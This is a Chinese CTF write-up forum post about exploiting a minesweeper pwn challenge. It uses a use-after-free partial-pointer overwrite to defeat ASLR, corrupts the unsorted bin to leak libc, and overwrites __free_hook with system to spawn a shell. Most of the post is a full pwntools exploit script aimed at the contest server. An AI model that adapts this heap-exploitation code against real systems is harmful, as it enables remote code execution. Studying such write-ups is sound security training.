-
-
[原创]看雪6月 京东 2018CTF 第十四题——覆盖小端最低字节绕过ASLR
-
发表于: 2018-7-14 09:09 2727
-
0x00 前言
这题最后做的我很坑,成功的莫名其妙,最后经过@poyoten师傅的指点,发现是libc搞混了。。。不过现在有点事,先写好回头在补。。。
0x01 解题
解题用了0day安全一书中的覆盖小端低字节实现绕过ALSR的操作,其中hero name
字段本在堆上,UAF覆盖最低字节,让他指向一个unsorted bin,然后改写unsorted bin大小,顺便在相应大小后准备好prev_size
过prev_size==size
的check。然后改写之后拿到一个overlap,覆盖棋盘数据的指针数组和内容本身(记录棋牌里的旁边的雷的数量,是否有雷,是否被踩过或者扫过)。这个时候,申请一个chunk,使得棋盘数据变成libc unsorted bin的leak,然后显示出来。但是只能显示一半,所以再通过覆写指针数组第一个指针的最低字节,使得它加上1,可以leak另一半。leak完之后就简单了,通过hero_name
那个字段写__free_hook
,然后留言/bin/sh\x00
,getshell。
exp如下,详细解题过程到时候再补:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | from pwn import * g_local = True context.log_level = 'debug' if g_local: sh = process( './minesweep' ) #, env={'LD_PRELOAD':'./libc.so.6'}) #gdb.attach(sh) UNSORTED_BIN_OFF = 0x3c4b78 e = ELF( './libc-2.23.so' ) FREE_HOOK_OFF = e.symbols[ "__free_hook" ] SYSTEM_OFF = e.symbols[ "system" ] else : sh = remote( "139.199.99.130" , 8686 ) #sh = remote("192.168.106.150", 9999) e = ELF( './libc.so.6.given' ) UNSORTED_BIN_OFF = 0x3c27b8 FREE_HOOK_OFF = e.symbols[ "__free_hook" ] + 0x1000 SYSTEM_OFF = e.symbols[ "system" ] + 0x1000 LEAK_OFF = 0x5a LEAK_INTEVAL = 3 def send_num(num): sh.send( str (num) + "\x00\n" ) def send_str(s): sh.send(s + "\x00\n" ) def enter_back_game(): send_num( 1 ) ret = sh.recvuntil( "* * * * * * * * \n----------------------\n" ) send_str( "back" ) sh.recvuntil( "$ " ) return ret def enter_out_game(): send_num( 1 ) sh.recvuntil( "* * * * * * * * \n----------------------\n" ) send_str( "out" ) sh.recvuntil( "$ " ) def play_game_win(x,y,z,payload): send_num( 1 ) sh.recvuntil( "* * * * * * * * \n----------------------\n" ) send_str( "explore" ) sh.recvuntil( "input x,y,z\n" ) send_str( str (x) + "," + str (y) + "," + str (z)) sh.recvuntil( "leave your name,my hero\n" ) sh.send(payload + "\n" ) send_str( "back" ) sh.recvuntil( "$ " ) def feedback_bug(length, msg): send_num( 2 ) sh.recvuntil( "input the length of your feed back:" ) send_num(length) sh.send(msg) sh.recvuntil( "$ " ) sh.recvuntil( "$ " ) enter_out_game() fake_struc1 = p64( 0 ) fake_struc1 + = p64( 1 ) fake_struc1 + = p64( 0 ) fake_struc1 + = p64( 1 ) fake_struc1 + = p64( 0 ) fake_struc1 + = "\x98\n" # heap arbitrary write, to change unsorted bin size feedback_bug( 0x30 , fake_struc1) feedback_bug( 0x100 , "A" * 0xff + "\n" ) feedback_bug( 0x100 , p64( 0x200 ) + "\n" ) # prev_size == size feedback_bug( 0x90 , "A\n" ) #prepare prev_size, put 0xa1 tp unsorted bin play_game_win( 1 , 1 , 3 ,p16(( 0x200 ) | 1 )) feedback_bug( 0xe0 , "A" + "\n" ) #change original * data to libc leak fst_leak = enter_back_game() feedback_bug( 0xe0 , "A" * 0xa0 + "\x91\n" ) #change original 0x90 -> 0x91 to leak second half snd_leak = enter_back_game() print fst_leak + snd_leak libc_addr = ord (fst_leak[LEAK_OFF]) libc_addr + = ord (snd_leak[LEAK_OFF]) << 8 libc_addr + = ord (fst_leak[LEAK_OFF + LEAK_INTEVAL]) << 16 libc_addr + = ord (snd_leak[LEAK_OFF + LEAK_INTEVAL]) << 24 libc_addr + = ord (fst_leak[LEAK_OFF + LEAK_INTEVAL * 2 ]) << 32 libc_addr + = ord (snd_leak[LEAK_OFF + LEAK_INTEVAL * 2 ]) << 40 libc_addr - = UNSORTED_BIN_OFF print hex (libc_addr) print hex (e.symbols[ "__free_hook" ]) print hex (e.symbols[ "system" ]) fake_struc1 = p64( 0 ) fake_struc1 + = p64( 1 ) fake_struc1 + = p64( 0 ) fake_struc1 + = p64( 1 ) fake_struc1 + = p64( 0 ) fake_struc1 + = p64(libc_addr + FREE_HOOK_OFF) feedback_bug( 0x31 , fake_struc1 + "\n" ) feedback_bug( 0x90 , "A\n" ) sh.interactive() play_game_win( 1 , 1 , 3 , p64(libc_addr + SYSTEM_OFF)) send_num( 2 ) sh.recvuntil( "input the length of your feed back:" ) send_num( 0x30 ) sh.send( "/bin/sh\x00\n" ) sh.interactive() |
赞赏
他的文章
赞赏
雪币:
留言: